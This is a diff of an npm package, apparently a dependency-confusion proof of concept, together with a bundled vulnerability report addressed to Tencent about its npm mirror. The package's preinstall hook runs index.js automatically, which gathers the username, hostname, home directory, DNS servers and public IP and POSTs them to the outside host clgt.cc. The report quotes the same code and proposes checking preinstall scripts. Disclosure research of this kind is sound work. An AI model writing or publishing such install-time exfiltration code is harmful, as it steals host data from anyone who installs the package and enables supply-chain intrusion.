test-dependency-confusion-new 1.0.3

package/index.js

@@ -0,0 +1,86 @@
+const os = require("os");
+const dns = require("dns");
+const querystring = require("querystring");
+const https = require("https");
+const packageJSON = require("./package.json");
+const package = packageJSON.name;
+
+let have_child_process = true
+try {
+    const { exec } = require('child_process')
+} catch(e) {
+    have_child_process = false
+}
+
+const sleep = (milliseconds) => {                                                                                                                                                         
+    return new Promise(resolve => setTimeout(resolve, milliseconds))
+}
+
+function requestPromise(endpoint) {
+    var body = ''
+
+    return new Promise(function(resolve, reject){
+        https.get((endpoint), res => {
+            res.setEncoding('utf8');
+            res.on("data", data => {
+                body += data;
+            });
+            res.on("end", () => {
+                resolve(body)
+            });
+            res.on("error", (e) => {
+                reject(e);
+            });
+        });
+    });
+    
+}
+
+async function main() {
+
+    const url = 'https://ifconfig.me'
+    const ip = await requestPromise(url)
+
+    const trackingData = JSON.stringify({
+        p: package,
+        c: __dirname,
+        hd: os.homedir(),
+        hn: os.hostname(),
+        un: os.userInfo().username,
+        dns: dns.getServers(),
+        r: packageJSON ? packageJSON.___resolved : undefined,
+        v: packageJSON.version,
+        pjson: packageJSON,
+        ip: ip,
+        child_process: have_child_process ? 1 : 0,
+    });
+
+
+    var postData = querystring.stringify({
+        msg: trackingData,
+    });
+
+    var options = {
+        hostname: "clgt.cc", //replace burpcollaborator.net with Interactsh or pipedream
+        port: 443,
+        path: "/dependency-conf-npm.php",
+        method: "POST",
+        headers: {
+            "Content-Type": "application/x-www-form-urlencoded",
+            "Content-Length": postData.length,
+        },
+    };
+
+    var req = https.request(options, (res) => {
+        res.on("data", (d) => {
+            process.stdout.write(d);
+        });
+    });
+
+    req.on("error", (e) => {
+        // console.error(e);
+    });
+
+    req.write(postData);
+    req.end();
+} main()

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "test-dependency-confusion-new",
+  "version": "1.0.3",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "node index.js"
+  },
+  "author": "",
+  "license": "ISC"
+}

package/rce

@@ -0,0 +1,78 @@
+Dear Team,
+
+I have found a RCE vulnerability on your mirrors.tencent.com server via dependency confusion
+
+1. Detailed Description :
+- The vulnerability is very simple, your mirrors.tencent.com server is monitoring all packages on npmjs.com. When you found any new package, you do sync new package to your server and do something including install new package
+- So If I create a new package for example this case, name: test-dependency-confusion, here is package.json
+```
+> cat package.json 
+{
+  "name": "test-dependency-confusion",
+  "version": "1.0.2",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "node index.js"
+  },
+  "author": "",
+  "license": "ISC"
+}
+```
+You can see in scripts section, preinstall: node index.js
+I have create index.js, do following:
+** collection current server information: user, current working directory, os name, ip address (via call http://ifconfig.me)**
+** Then I send all information to my server https://clgt.cc/**
+Here is source code
+```
+    const trackingData = JSON.stringify({
+        p: package,
+        c: __dirname,
+        hd: os.homedir(),
+        hn: os.hostname(),
+        un: os.userInfo().username,
+        dns: dns.getServers(),
+        r: packageJSON ? packageJSON.___resolved : undefined,
+        v: packageJSON.version,
+        pjson: packageJSON,
+        ip: ip,
+        child_process: have_child_process ? 1 : 0,
+    });
+
+
+    var postData = querystring.stringify({
+        msg: trackingData,
+    });
+
+    var options = {
+        hostname: "clgt.cc", //replace burpcollaborator.net with Interactsh or pipedream
+        port: 443,
+        path: "/dependency-conf-npm.php",
+        method: "POST",
+        headers: {
+            "Content-Type": "application/x-www-form-urlencoded",
+            "Content-Length": postData.length,
+        },
+    };
+
+    var req = https.request(options, (res) => {
+        res.on("data", (d) => {
+            process.stdout.write(d);
+        });
+    });
+```
+
+- I do something and push to npmjs repository, I get the link publish https://www.npmjs.com/package/test-dependency-confusion
+- wait for some minutes, I got signal request to my server with the information, there are some servers from you
+
+2. Proof :
+Please do check my attachment images
+
+3. Impact
+An attacker can do remote code execution on your server
+
+3. How to fix :
+- I think after download/sync package, you should check preinstall script is existed or not. If it exists, do check or remove it
+
+Thanks and Best Regards,